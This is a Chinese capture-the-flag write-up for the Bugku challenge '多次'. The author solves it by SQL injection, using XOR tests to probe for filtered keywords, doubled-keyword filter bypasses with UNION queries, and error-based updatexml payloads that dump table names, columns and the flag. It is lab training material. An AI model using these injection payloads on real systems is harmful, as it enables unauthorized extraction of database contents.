Bugku 多次

步骤

1、打开题目链接,发现url传入了参数id=1,当改参数为id=1’ 时显示有错误,改为id=1"时没有错误,因此,判断是错误注入
2、首先判断什么情况下会报错,方法:异或注入

  • id=1’^(0)%23 时,正常运行(%23是#的url编码)
  • id=1’^(1)%23 时,报错
  • 因此,判断出,当括号里的表达式为真时报错

3、判断过滤了哪些字符

  • id=1’(length(‘union’)>0)%23 正常运行,没有报错,说明 union 被过滤了
  • 同样的方法可以测试出 select /and /or 都被过滤了

4、开始构造payload

  • 首先,判断回显的位置 id=' uniunionon seleselectct 1,2%23
    只有 select 1,2时才会有回显,其他均报错
    若id后面接1’会正常运行,需要修改,使其查找不成功而执行后面的语句

  • 爆数据库名

id=' uniunionon seleselectct 1,database()%23

得到结果web1002-1

  • 爆表名
id=' uniunionon seleselectct 1,(seleselectct table_name from infoorrmation_schema.tables where table_schema=database() limit 0,1)%23

注意:
1、因为or被过滤了,所以 information_schema中需要双写绕过,即infoorrmation_schema
2、limit 0,1 表示从第1行开始 读取1行内容,如果不加这个限制,是会报错的,同样,改为limit 1,1可以读取出另一个表hint

得到结果flag1

  • 爆字段
id=' uniunionon seleselectct 1,(seleselectct  column_name from infoorrmation_schema.columns where table_name='flag1' limit 0,1)%23

得到flag1

改读取内容limit 1,1 得到另一个字段address

  • 爆flag
id=' uniunionon seleselectct 1,(seleselectct  flag1 from flag1)%23

但是 这个flag不是最终答案

5、根据题目提示知道,应该还有一个入口,尝试读取flag1表里address列的内容,得到另一个入口
Bugku 多次

6、打开第二个链接,看url,同样,仍然是 错误注入

  • 首先尝试id=1’ ,发现报错
  • 尝试id=1",发现没有错
  • 尝试id=1# ,发现#被过滤了

7、根据尝试,猜测仍有字符被过滤

  • 这次可以直接在url输入字符,通过回显来判断哪些字符被过滤了,结果发现union/sleep/substr被过滤
  • 当尝试双写绕过时,发现内容不会被回显了,因此,利用mysql语法错误回显错误信息

8、构造payload

  • 爆数据库
id=' and updatexml(1,concat('~',(select database()),'~'),1)%23

得到结果XPATH syntax error: '~web1002-2~'

  • 爆表名
id=1' and updatexml(1,concat('~',(select table_name from information_schema.tables where table_schema=database()),'~'),1)%23
此时会提示Subquery returns more than 1 row
因此再加上 limit 0,1 此时返回XPATH syntax error: '~class~'
再改为limi 1,1 此时返回XPATH syntax error: '~flag2~'
  • 爆字段
id=1' and updatexml(1,concat('~',(select column_name from information_schema.columns where table_name='flag2' limit 0,1),'~'),1)%23

得到字段flag2

  • 爆flag
id=' and updatexml(1,concat('~',(select flag2 from flag2),'~'),1)%23

得到XPATH syntax error: '~flag{Bugku-sql_6s-2i-4t-bug}~'

新姿势

1、通过简单的尝试判断注入类型(’ " #)
2、异或注入判断字符串的过滤情况
3、首先判断回显位置,而不是一上来就开始**
4、当没有返回想要的结果时,尝试加入limit来限制
5、当回显被截断时,考虑无法被截断的mysql语法错误回显
6、updatexml(1,concat('~', ... ,'~'),1)
7、为什么一定要在结尾加上%23才能得到正确结果?不晓得
8、一定要注意前一个查询一定要为空,不断尝试
9、为什么用python脚本不能得到正确结果?不晓得